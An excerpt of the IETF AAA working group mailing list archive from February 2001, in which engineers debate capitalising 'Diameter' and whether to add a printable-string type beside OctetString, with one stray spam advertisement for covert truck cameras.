From owner-aaa-bof@merit.edu Thu Feb 1 10:11:30 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28926 for ; Thu, 1 Feb 2001 10:11:29 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9A3935DFB6; Thu, 1 Feb 2001 10:09:48 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 7FFAB5DFB3; Thu, 1 Feb 2001 10:09:48 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by segue.merit.edu (Postfix) with ESMTP id D851B5DFAF for ; Thu, 1 Feb 2001 10:09:46 -0500 (EST) Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id HAA02967; Thu, 1 Feb 2001 07:09:51 -0800 (PST) Received: from mailman.cisco.com (localhost [127.0.0.1]) by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id f11F9i424524; Thu, 1 Feb 2001 07:09:44 -0800 (PST) Received: from pheitmanlaptop (rtp-vpn-101.cisco.com [10.82.192.101]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with SMTP id HAA17023; Thu, 1 Feb 2001 07:09:34 -0800 (PST) From: "Peter Heitman" To: "Steven Glass - Solaris Software" , Cc: "Patrice Calhoun" , Subject: RE: [AAA-WG]: DIAMETER or Diameter? Date: Thu, 1 Feb 2001 10:08:47 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit I'm confused. There has been a lot of creative energy spent on trying to force an acryonym onto Diameter as if having to type DIAMETER all in caps was a good thing. Can't we just agree that Diameter is easier to type and more pleasing to the eye than DIAMETER and leave it at that? Peter "I hate having to type acronyms all in caps" Heitman > -----Original Message----- > From: owner-aaa-bof@merit.edu [mailto:owner-aaa-bof@merit.edu]On Behalf > Of Steven Glass - Solaris Software > Sent: Wednesday, January 31, 2001 6:16 PM > To: diameter@diameter.org > Cc: Patrice Calhoun; aaa-wg@merit.edu > Subject: Re: [AAA-WG]: DIAMETER or Diameter? > > > > > > John Schnizlein writes: > > > At 11:09 AM 01/30/2001 -0500, Barney Wolff wrote: > > > >Dial > > > >In > > > >Access > > > >Management > > > >Essentially > > > >Transport- > > > >Enhanced > > > >RADIUS > > Diameter's not just for dial-in anymore. > > Either we figure out some acronym quickly and use "DIAMETER", > or we don't > worry about it and use "Diameter". > > My suggestions: > > Diverse > [Internet] > Access > Management using > Extensible > Types and > Enhancements to > RADIUS > > Diverse > Internet > Access > Management using > Extensible > Types and > Enhanced [or element] > Retrieval > > Diverse [Direct] > Internet > Access > Management using > Extensible > Types and [/with] > External [or Efficient or Enhanced] > Relaying > > mix/match, tweek, etc. You get where I'm trying to go. > Could use End2End > in there too (if we want to open this up to controversy)... > > Cheers, > Steve > > > > From owner-aaa-bof@merit.edu Thu Feb 1 10:37:31 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA29420 for ; Thu, 1 Feb 2001 10:37:30 -0500 (EST) Received: by segue.merit.edu (Postfix) id D149F5DE64; Thu, 1 Feb 2001 10:34:35 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BFF5D5DE03; Thu, 1 Feb 2001 10:34:35 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id 282A25DDBD for ; Thu, 1 Feb 2001 10:34:34 -0500 (EST) Received: (qmail 22566 invoked by uid 500); 1 Feb 2001 16:09:15 -0000 Date: Thu, 1 Feb 2001 10:09:14 -0600 From: David Frascone To: Peter Heitman Cc: Steven Glass - Solaris Software , diameter@diameter.org, Patrice Calhoun , aaa-wg@merit.edu Subject: Re: [AAA-WG]: DIAMETER or Diameter? Message-ID: <20010201100914.D20429@newman.frascone.com> Mail-Followup-To: Peter Heitman , Steven Glass - Solaris Software , diameter@diameter.org, Patrice Calhoun , aaa-wg@merit.edu References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from pheitman@cisco.com on Thu, Feb 01, 2001 at 10:08:47AM -0500 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk I don't think anyone *really* wants "the protocol formerly known as DIAMETER" to be an acronym. People are just having a little fun :) On Thu, Feb 01, 2001 at 10:08:47AM -0500, Peter Heitman wrote: > I'm confused. There has been a lot of creative energy spent on trying to > force an acryonym onto Diameter as if having to type DIAMETER all in caps > was a good thing. Can't we just agree that Diameter is easier to type and > more pleasing to the eye than DIAMETER and leave it at that? > > Peter "I hate having to type acronyms all in caps" Heitman > > > -----Original Message----- > > From: owner-aaa-bof@merit.edu [mailto:owner-aaa-bof@merit.edu]On Behalf > > Of Steven Glass - Solaris Software > > Sent: Wednesday, January 31, 2001 6:16 PM > > To: diameter@diameter.org > > Cc: Patrice Calhoun; aaa-wg@merit.edu > > Subject: Re: [AAA-WG]: DIAMETER or Diameter? > > > > > > > > > > John Schnizlein writes: > > > > At 11:09 AM 01/30/2001 -0500, Barney Wolff wrote: > > > > >Dial > > > > >In > > > > >Access > > > > >Management > > > > >Essentially > > > > >Transport- > > > > >Enhanced > > > > >RADIUS > > > > Diameter's not just for dial-in anymore. > > > > Either we figure out some acronym quickly and use "DIAMETER", > > or we don't > > worry about it and use "Diameter". > > > > My suggestions: > > > > Diverse > > [Internet] > > Access > > Management using > > Extensible > > Types and > > Enhancements to > > RADIUS > > > > Diverse > > Internet > > Access > > Management using > > Extensible > > Types and > > Enhanced [or element] > > Retrieval > > > > Diverse [Direct] > > Internet > > Access > > Management using > > Extensible > > Types and [/with] > > External [or Efficient or Enhanced] > > Relaying > > > > mix/match, tweek, etc. You get where I'm trying to go. > > Could use End2End > > in there too (if we want to open this up to controversy)... > > > > Cheers, > > Steve > > > > > > > > > > From owner-aaa-bof@merit.edu Thu Feb 1 11:02:35 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA29867 for ; Thu, 1 Feb 2001 11:02:34 -0500 (EST) Received: by segue.merit.edu (Postfix) id 4EE7A5DDBA; Thu, 1 Feb 2001 11:00:20 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id C1E045DDBE; Thu, 1 Feb 2001 11:00:18 -0500 (EST) Received: from mumm.ibr.cs.tu-bs.de (mumm.ibr.cs.tu-bs.de [134.169.34.190]) by segue.merit.edu (Postfix) with ESMTP id CD2EA5DDBA for ; Thu, 1 Feb 2001 11:00:13 -0500 (EST) Received: from henkell.ibr.cs.tu-bs.de (schoenw@henkell [134.169.34.191]) by mumm.ibr.cs.tu-bs.de (8.9.3/8.9.3) with ESMTP id RAA08406; Thu, 1 Feb 2001 17:00:12 +0100 (MET) Received: from schoenw@localhost by henkell.ibr.cs.tu-bs.de (8.7.6/tubsibr) id RAA28576; Thu, 1 Feb 2001 17:00:12 +0100 Date: Thu, 1 Feb 2001 17:00:12 +0100 Message-Id: <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de> From: Juergen Schoenwaelder To: dave@frascone.com Cc: aaa-wg@merit.edu In-reply-to: <20010128221352.C1427@newman.frascone.com> (message from David Frascone on Sun, 28 Jan 2001 22:13:52 -0600) Subject: Re: [AAA-WG]: OctetString type References: <20010128221352.C1427@newman.frascone.com> Sender: owner-aaa-bof@merit.edu Precedence: bulk >>>>> David Frascone writes: David> I think removing the basic string type was a bad idea. With David> octet string, there is no easy way to tell if the data is David> printable. It was nice having a string type, since the data David> could be printed in log messages, debug strings, etc. David> I think we should still have two types, Octets, and String, and David> treat them appropriately. David> Granted, on the transport side, DIAMETER will treat the two David> equaly, but it makes debugging/logging much nicer to know when David> you can print out the data involved. I totally disagree. The protocol should only distinguish a minimal set of base data types. In addition, you should have a mechanism to define application specific "types" that have additional semantics (e.g. restrictions on the character set) in the data model. This ensures that you do not need to change the protocol whenever a new string type is needed. For example, we could introduce UTF8 strings in SNMP without touching the protocol. And we have lots of other special purpose octet strings, such as DateAndTime. The logging argument does IMHO not really count. It is straight forward to write a piece of code which tests whether a given octet string is printable or not. And due to internationalization requirements, you will have to check a UTF8 string for unprintable byte sequences anyway before printing it since you can't rely on it being all 7 bit ASCII. /js -- Juergen Schoenwaelder Technical University Braunschweig Dept. Operating Systems & Computer Networks Phone: +49 531 391 3289 Bueltenweg 74/75, 38106 Braunschweig, Germany Fax: +49 531 391 5936 From owner-aaa-bof@merit.edu Thu Feb 1 11:07:43 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA00019 for ; Thu, 1 Feb 2001 11:07:42 -0500 (EST) Received: by segue.merit.edu (Postfix) id 471755DDBD; Thu, 1 Feb 2001 11:06:36 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 29F885DDBE; Thu, 1 Feb 2001 11:06:36 -0500 (EST) Received: from mumm.ibr.cs.tu-bs.de (mumm.ibr.cs.tu-bs.de [134.169.34.190]) by segue.merit.edu (Postfix) with ESMTP id 096EC5DDBD for ; Thu, 1 Feb 2001 11:06:34 -0500 (EST) Received: from henkell.ibr.cs.tu-bs.de (schoenw@henkell [134.169.34.191]) by mumm.ibr.cs.tu-bs.de (8.9.3/8.9.3) with ESMTP id RAA08631; Thu, 1 Feb 2001 17:06:31 +0100 (MET) Received: from schoenw@localhost by henkell.ibr.cs.tu-bs.de (8.7.6/tubsibr) id RAA28588; Thu, 1 Feb 2001 17:06:30 +0100 Date: Thu, 1 Feb 2001 17:06:30 +0100 Message-Id: <200102011606.RAA28588@henkell.ibr.cs.tu-bs.de> From: Juergen Schoenwaelder To: paul@funk.com Cc: dave@frascone.com, aaa-wg@merit.edu In-reply-to: <4.1.20010129113831.01bef5b0@funk1.funk.com> (message from Paul Funk on Mon, 29 Jan 2001 12:36:53 -0500) Subject: Re: [AAA-WG]: OctetString type References: <4.1.20010129113831.01bef5b0@funk1.funk.com> Sender: owner-aaa-bof@merit.edu Precedence: bulk >>>>> Paul Funk writes: Paul> A Diameter implementation needs to know an AVP's type not only Paul> for processing purposes but also for administrative purposes, Paul> e.g., logging and configuration. While it is always possible to Paul> qualify the use of an AVP further in its description, it Paul> promotes precision and clarity to formally define types for Paul> common data formats. Formally define the type in the AVP definition by using a proper data definition language. With SMIng, you can easily define that this AVP is a Utf8String or something else you need to introduce. You do not need all the type information in the protocol layer. Paul> The Alpha-2 draft already defines the use of UTF-8 as a subset Paul> of OctetString, and time data as a subset of Unsigned32. They Paul> might as well be defined separately as types in their own right. The key here is that the protocol should be stable and thus work with a minimalistic set of types. /js -- Juergen Schoenwaelder Technical University Braunschweig Dept. Operating Systems & Computer Networks Phone: +49 531 391 3289 Bueltenweg 74/75, 38106 Braunschweig, Germany Fax: +49 531 391 5936 From owner-aaa-bof@merit.edu Thu Feb 1 12:13:51 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA03494 for ; Thu, 1 Feb 2001 12:13:50 -0500 (EST) Received: by segue.merit.edu (Postfix) id 3DEC95DDBE; Thu, 1 Feb 2001 12:13:33 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 20D035DDC5; Thu, 1 Feb 2001 12:13:33 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id 6FFF55DDBE for ; Thu, 1 Feb 2001 12:13:31 -0500 (EST) Received: (qmail 22812 invoked by uid 500); 1 Feb 2001 17:48:16 -0000 Date: Thu, 1 Feb 2001 11:48:15 -0600 From: David Frascone To: Juergen Schoenwaelder Cc: dave@frascone.com, aaa-wg@merit.edu Subject: Re: [AAA-WG]: OctetString type Message-ID: <20010201114814.J20429@newman.frascone.com> Mail-Followup-To: Juergen Schoenwaelder , dave@frascone.com, aaa-wg@merit.edu References: <20010128221352.C1427@newman.frascone.com> <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de>; from schoenw@ibr.cs.tu-bs.de on Thu, Feb 01, 2001 at 05:00:12PM +0100 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk Since the *type* of the data is not transmitted on the wire, I'm not sure I see your point. I'm asking for an internal dictionary representation of the difference between data or string. It does not effect the transmitted protocol at all, since data types are not transmitted on the wire. So, once again: I think we need to diferentiate between OctetString and PrintableString in the *non-transmitted*, *non-protocol-changing*, INTERNAL representation of the data :) -Dave On Thu, Feb 01, 2001 at 05:00:12PM +0100, Juergen Schoenwaelder wrote: > > >>>>> David Frascone writes: > > David> I think removing the basic string type was a bad idea. With > David> octet string, there is no easy way to tell if the data is > David> printable. It was nice having a string type, since the data > David> could be printed in log messages, debug strings, etc. > > David> I think we should still have two types, Octets, and String, and > David> treat them appropriately. > > David> Granted, on the transport side, DIAMETER will treat the two > David> equaly, but it makes debugging/logging much nicer to know when > David> you can print out the data involved. > > I totally disagree. The protocol should only distinguish a minimal set > of base data types. In addition, you should have a mechanism to define > application specific "types" that have additional semantics > (e.g. restrictions on the character set) in the data model. This > ensures that you do not need to change the protocol whenever a new > string type is needed. For example, we could introduce UTF8 strings in > SNMP without touching the protocol. And we have lots of other special > purpose octet strings, such as DateAndTime. > > The logging argument does IMHO not really count. It is straight > forward to write a piece of code which tests whether a given octet > string is printable or not. And due to internationalization > requirements, you will have to check a UTF8 string for unprintable > byte sequences anyway before printing it since you can't rely on > it being all 7 bit ASCII. > > /js > > -- > Juergen Schoenwaelder Technical University Braunschweig > Dept. Operating Systems & Computer Networks > Phone: +49 531 391 3289 Bueltenweg 74/75, 38106 Braunschweig, Germany > Fax: +49 531 391 5936 > > From owner-aaa-bof@merit.edu Thu Feb 1 13:09:59 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA05009 for ; Thu, 1 Feb 2001 13:09:58 -0500 (EST) Received: by segue.merit.edu (Postfix) id E42FB5DDE9; Thu, 1 Feb 2001 13:09:35 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id D18CF5DDD9; Thu, 1 Feb 2001 13:09:35 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id AD6DD5DDC5 for ; Thu, 1 Feb 2001 13:09:34 -0500 (EST) Received: from purol.East.Sun.COM ([129.148.9.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA04424; Thu, 1 Feb 2001 10:09:33 -0800 (PST) Received: from onion.east.sun.com (onion [129.148.174.110]) by purol.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id NAA13360; Thu, 1 Feb 2001 13:09:32 -0500 (EST) Date: Thu, 1 Feb 2001 13:09:31 -0500 (EST) From: Steven Glass - Solaris Software Reply-To: Steven Glass - Solaris Software Subject: RE: [AAA-WG]: DIAMETER or Diameter? To: Peter Heitman Cc: diameter@diameter.org, Patrice Calhoun , aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > I'm confused. There has been a lot of creative energy spent on trying to > force an acryonym onto Diameter as if having to type DIAMETER all in caps > was a good thing. Can't we just agree that Diameter is easier to type and > more pleasing to the eye than DIAMETER and leave it at that? > > Peter "I hate having to type acronyms all in caps" Heitman Me too, but I'd dislike even more if we spent a lot of time trying to find an acronym, then went with 'Diameter', so I spent a little time on it. My list was an attempt to get people to think about it, and brainstorm quickly off of one of my suggestions, or say "never mind, Diameter". DIAMETER is a long acronym, so unless we combine letters into something like: DIscrete Administrative MEssaging TERminology it's likely to sound forced. Cheers, Steve From owner-aaa-bof@merit.edu Thu Feb 1 16:51:04 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA12331 for ; Thu, 1 Feb 2001 16:51:04 -0500 (EST) Received: by segue.merit.edu (Postfix) id 0ED1D5DE16; Thu, 1 Feb 2001 16:50:34 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id E1A425DE36; Thu, 1 Feb 2001 16:50:33 -0500 (EST) Received: from web1.merit.edu (web1.merit.edu [198.108.62.192]) by segue.merit.edu (Postfix) with ESMTP id B02725DE16; Thu, 1 Feb 2001 16:50:32 -0500 (EST) Received: (from web@localhost) by web1.merit.edu (8.9.3/8.9.1) id QAA07257; Thu, 1 Feb 2001 16:50:32 -0500 (EST) Date: Thu, 1 Feb 2001 16:50:32 -0500 From: William Bulley To: David Frascone Cc: aaa-wg@merit.edu Subject: Re: [AAA-WG]: DIAMETER or Diameter? Message-ID: <20010201165032.L5679@web1.merit.edu> Mail-Followup-To: David Frascone , aaa-wg@merit.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1us Sender: owner-aaa-bof@merit.edu Precedence: bulk According to David Frascone : > > I don't think anyone *really* wants "the protocol formerly known as DIAMETER" > to be an acronym. People are just having a little fun :) Sorry, Dave, but I do. I'm not against having a little fun, too. Regards, web... -- William Bulley Manager of Software Engineering Merit Network, Inc. Email: web@merit.edu Building One, Suite 2000 Phone: (734) 764-9430 4251 Plymouth Road Fax: (734) 647-3185 Ann Arbor, Michigan 48105-2785 "We're not C++ programmers. There is one program written in C++ in OpenBSD, out of 300 megabytes of source code." - Theo deRaadt, father and principal archtitect of the OpenBSD operating system. From owner-aaa-bof@merit.edu Thu Feb 1 16:54:42 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA12446 for ; Thu, 1 Feb 2001 16:54:42 -0500 (EST) Received: by segue.merit.edu (Postfix) id 205B65DE33; Thu, 1 Feb 2001 16:54:27 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0F0475DE25; Thu, 1 Feb 2001 16:54:27 -0500 (EST) Received: from mail12.svr.pol.co.uk (mail12.svr.pol.co.uk [195.92.193.215]) by segue.merit.edu (Postfix) with ESMTP id BB4A65DDB5 for ; Thu, 1 Feb 2001 16:54:20 -0500 (EST) Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk) by mail12.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 14ORgJ-0002ZW-00 for aaa-wg@merit.edu; Thu, 01 Feb 2001 21:54:19 +0000 Received: from modem-127.clown-sweetlips.dialup.pol.co.uk ([62.136.248.127] helo=hawk-technologies.co.uk) by mail18.svr.pol.co.uk with smtp (Exim 3.13 #0) id 14ORgF-0006ay-00 for aaa-wg@merit.edu; Thu, 01 Feb 2001 21:54:16 +0000 To: aaa-wg@merit.edu From: "HAWK TECHNOLOGIES UK" X-Mailer: 2EB4E1E0.1BDBB4C6.ff0909c4a8ac325a962524431987c5f1 Subject: [AAA-WG]: TRUCKERS!!! - ILLEGAL IMMIGRANT AND THEFT PROBLEM - SOLVED! Organization: "HAWK TECHNOLOGIES UK" Message-Id: Date: Thu, 01 Feb 2001 21:54:16 +0000 Sender: owner-aaa-bof@merit.edu Precedence: bulk YOU WILL BE PROSECUTED!!! THIS EMAIL IS OF UTMOST IMPORTANCE- PLEASE READ. Dear Transport Manager, You have received this email because you have expressed an interest in important transport related issues in the past. If this is incorrect or you no longer wish to receive IMPORTANT Transport related information please except or sincere apologies and reply to this email typing "REMOVE" in the subject line and you will be removed from any future mailings. As you are well aware, if illegal immigrants who are stowaways in the rear of your vehicles are detected by the authorities, your company will incur fines of up to £2000 per head in the UK! This is happening to hundreds of HGV's every week... It is happening NOW and becoming a HUGE problem. So much so, that the UK Government have authorised searches of all heavy goods vehicles (including overseas company vehicles) entering the UK to detect illegal immigrants trying to gain access into the country. This in turn will create massive hold ups to both hauliers and the immigration authorities enforcing the searches. This is NOT just UK related - it is world-wide!!! WE HAVE THE SOLUTION TO THIS HUGE PROBLEM..... I will get straight to the point, as I know being a fellow businessman how precious your time can be. Our company specialises in the implementation of covert camera systems within vehicles, being able to DETECT AND RECORD UNAUTHORISED ENTRY into vehicles and their trailers. Just look how the "TruckEye" system will help your company: * OBSERVATION OF OCCUPANTS - The driver can observe from his cab any intruders that may have entered the vehicle who may be attempting to hide themselves away or smuggle illegal goods. * KEEPS THE DRIVER SAFE!!! - NO CONFRONTATION - UNLIKE CONVENTIONAL ALARM SYSTEMS - You have 100% PROOF that you have someone in the rear of the vehicle! The driver doesn't need to confront the intruders - he can go directly to the authorities or police with POSITIVE RECORDED PROOF! * SAVES VERY HEAVY FINES!!! Hauliers entering the UK are currently being fined £2000.00 per head for every person caught illegally entering the country in the rear of their vehicles. * CANNOT BE DETECTED - Completely covert - Undetectable by occupants. * WORKS IN COMPLETE DARKNESS - Unlike conventional camera systems. * EASY TO FIT - DIY Fitting. * EXTREMELY EASY TO USE - DIGITAL TECHNOLOGY - Doesn't need video tapes - Doesn't rely on driver to load tapes etc. or for operation - will always be ready to capture unauthorised entries. * FULLY AUTOMATIC * TOTALLY RELIABLE * 12 MONTHS BACK TO BASE WARRANTY * 25 YEARS RECORD TIME - Will run for twenty-five years continuously if needed. * COMPLETELY TRANSPORTABLE. * WILL TAKE UP TO 4 CAMERA'S - The base unit can operate four cameras covering any entry/exit points. * NO EXPENSIVE MAINTENENCE CONTRACTS The "TruckEye" system records the exact time of entry, captures digital images/footage and lets the driver know BEFORE he moves away to cross the border or channel if he is in fact transporting illegal immigrants, if he has had any unauthorized entry into his vehicle (theft) or if his vehicle has been tampered with an any way. This would otherwise go un-noticed without one of these systems fitted. This means the driver DOES NOT HAVE TO CONFRONT ANY INTRUDER (as with conventional alarm systems), but can go directly to the authorities with POSITIVE RECORDED PROOF allowing them to act on the information presented. If these immigrants are not detected, your company WILL incur fines of up to £2000 per head in the UK ! The systems are totally reliable, very robust and can save you thousands of pounds in fines, court costs and lost goods should your company vehicles be caught transporting these illegal immigrants or are broken into. I am sure you will agree this is huge problem that cannot be ignored and in the UK the Government is handing the responsibility over to the hauliers. Don't become a victim. We will be very happy to discuss this unique system and its benefits with you and to show you how easily this problem can be remedied, saving you thousands of pounds in potential fines or stolen goods. "TruckEye" can also be used to monitor unstable loads while in transit or stationary and can monitor the loading and unloading of goods to be sure everything is as it should be. This is what the transport industry has needed for many years. It is like having your very own night watchman looking after your vehicle, only you don't have to pay any wages and it works 24hrs a day 7 days a week 365 days a year with no days off! For more information on this revolutionary product, visit our website NOW at: http://www.hawk-technologies.co.uk and click on the link "TruckEye" Please feel free to contact me at any time on the following number: Tel: +44 (0)70 9121 42 32 or E-mail: mailto:TruckEye@freeautobot.com Kind regards Brian A. Doherty SALES DIRECTOR HAWK TECHNOLOGIES UK Tel: +44 (0)709 121 42 32 E-mail: brian@hawk-technologies.co.uk From owner-aaa-bof@merit.edu Thu Feb 1 17:11:51 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA12832 for ; Thu, 1 Feb 2001 17:11:51 -0500 (EST) Received: by segue.merit.edu (Postfix) id 8B1A65DE25; Thu, 1 Feb 2001 17:11:34 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 7A0135DE05; Thu, 1 Feb 2001 17:11:34 -0500 (EST) Received: from mumm.ibr.cs.tu-bs.de (mumm.ibr.cs.tu-bs.de [134.169.34.190]) by segue.merit.edu (Postfix) with ESMTP id EE9935DDB5 for ; Thu, 1 Feb 2001 17:11:32 -0500 (EST) Received: from henkell.ibr.cs.tu-bs.de (schoenw@henkell [134.169.34.191]) by mumm.ibr.cs.tu-bs.de (8.9.3/8.9.3) with ESMTP id XAA26947; Thu, 1 Feb 2001 23:11:32 +0100 (MET) Received: from schoenw@localhost by henkell.ibr.cs.tu-bs.de (8.7.6/tubsibr) id XAA01438; Thu, 1 Feb 2001 23:11:31 +0100 Date: Thu, 1 Feb 2001 23:11:31 +0100 Message-Id: <200102012211.XAA01438@henkell.ibr.cs.tu-bs.de> From: Juergen Schoenwaelder To: dave@frascone.com Cc: aaa-wg@merit.edu In-reply-to: <20010201114814.J20429@newman.frascone.com> (message from David Frascone on Thu, 1 Feb 2001 11:48:15 -0600) Subject: Re: [AAA-WG]: OctetString type References: <20010128221352.C1427@newman.frascone.com> <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de> <20010201114814.J20429@newman.frascone.com> Sender: owner-aaa-bof@merit.edu Precedence: bulk >>>>> David Frascone writes: David> Since the *type* of the data is not transmitted on the wire, David> I'm not sure I see your point. David> I'm asking for an internal dictionary representation of the David> difference between data or string. David> It does not effect the transmitted protocol at all, since data David> types are not transmitted on the wire. I thought you were talking about the String and Time types that were specified in section 2.2.3 in . These were in my view protocol data types since the definition of these types specified the encoding of the AVP and it seems desirable to keep the number of different encodings to a minimum. (And this was a bigger issue with the Complex type and actually the reason to get rid of it.) What is needed is indeed a way to define application specific "types" on these base data types (or encodings if you will). SMIng has such a data type mechanism and I am sure Erik will invent one for the XML proposal as well (if it is not already there). :-) /js -- Juergen Schoenwaelder Technical University Braunschweig Dept. Operating Systems & Computer Networks Phone: +49 531 391 3289 Bueltenweg 74/75, 38106 Braunschweig, Germany Fax: +49 531 391 5936 From owner-aaa-bof@merit.edu Thu Feb 1 17:34:40 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA13349 for ; Thu, 1 Feb 2001 17:34:40 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2D4215DF05; Thu, 1 Feb 2001 17:33:31 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 1B39D5DEE1; Thu, 1 Feb 2001 17:33:31 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id 600475DE05 for ; Thu, 1 Feb 2001 17:33:29 -0500 (EST) Received: (qmail 24148 invoked by uid 500); 1 Feb 2001 23:08:17 -0000 Date: Thu, 1 Feb 2001 17:08:16 -0600 From: David Frascone To: Juergen Schoenwaelder Cc: dave@frascone.com, aaa-wg@merit.edu Subject: Re: [AAA-WG]: OctetString type Message-ID: <20010201170816.C20429@newman.frascone.com> Mail-Followup-To: Juergen Schoenwaelder , dave@frascone.com, aaa-wg@merit.edu References: <20010128221352.C1427@newman.frascone.com> <200102011600.RAA28576@henkell.ibr.cs.tu-bs.de> <20010201114814.J20429@newman.frascone.com> <200102012211.XAA01438@henkell.ibr.cs.tu-bs.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200102012211.XAA01438@henkell.ibr.cs.tu-bs.de>; from schoenw@ibr.cs.tu-bs.de on Thu, Feb 01, 2001 at 11:11:31PM +0100 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk All I was asking for was the distinction of OctetString and a PrintableString type. Basically, so I'd know if it was safe to do a sprintf into a log string. It wouldn't affect the transport at all, but it *would* add a type to the AVP definitions. So, for example, the User-Name AVP would be of type String. Which would make a username of 0xdeadbabe illegal. But, it would allow me to do someting like: syslog(LOG_INFO, "Authentication successful for %*s", userAvpDataStructure.dataLength); userAvpDataStructure.data); So, it does affect the draft, and it does affect the dictionary, but it does NOT affect the protocol, unless we worry about transmitting the NULL (which is NOT what I'm asking for) So, can we have a psuedo-vote? Does anyone NOT want a printable-vs- unprintable string type for AVPs? -Dave On Thu, Feb 01, 2001 at 11:11:31PM +0100, Juergen Schoenwaelder wrote: > > >>>>> David Frascone writes: > > David> Since the *type* of the data is not transmitted on the wire, > David> I'm not sure I see your point. > > David> I'm asking for an internal dictionary representation of the > David> difference between data or string. > > David> It does not effect the transmitted protocol at all, since data > David> types are not transmitted on the wire. > > I thought you were talking about the String and Time types that were > specified in section 2.2.3 in . These > were in my view protocol data types since the definition of these > types specified the encoding of the AVP and it seems desirable to keep > the number of different encodings to a minimum. (And this was a bigger > issue with the Complex type and actually the reason to get rid of it.) > > What is needed is indeed a way to define application specific "types" > on these base data types (or encodings if you will). SMIng has such a > data type mechanism and I am sure Erik will invent one for the XML > proposal as well (if it is not already there). :-) > > /js > > -- > Juergen Schoenwaelder Technical University Braunschweig > Dept. Operating Systems & Computer Networks > Phone: +49 531 391 3289 Bueltenweg 74/75, 38106 Braunschweig, Germany > Fax: +49 531 391 5936 > > From owner-aaa-bof@merit.edu Thu Feb 1 17:41:25 2001 Received: from segue.merit.edu (segue.merit.edu 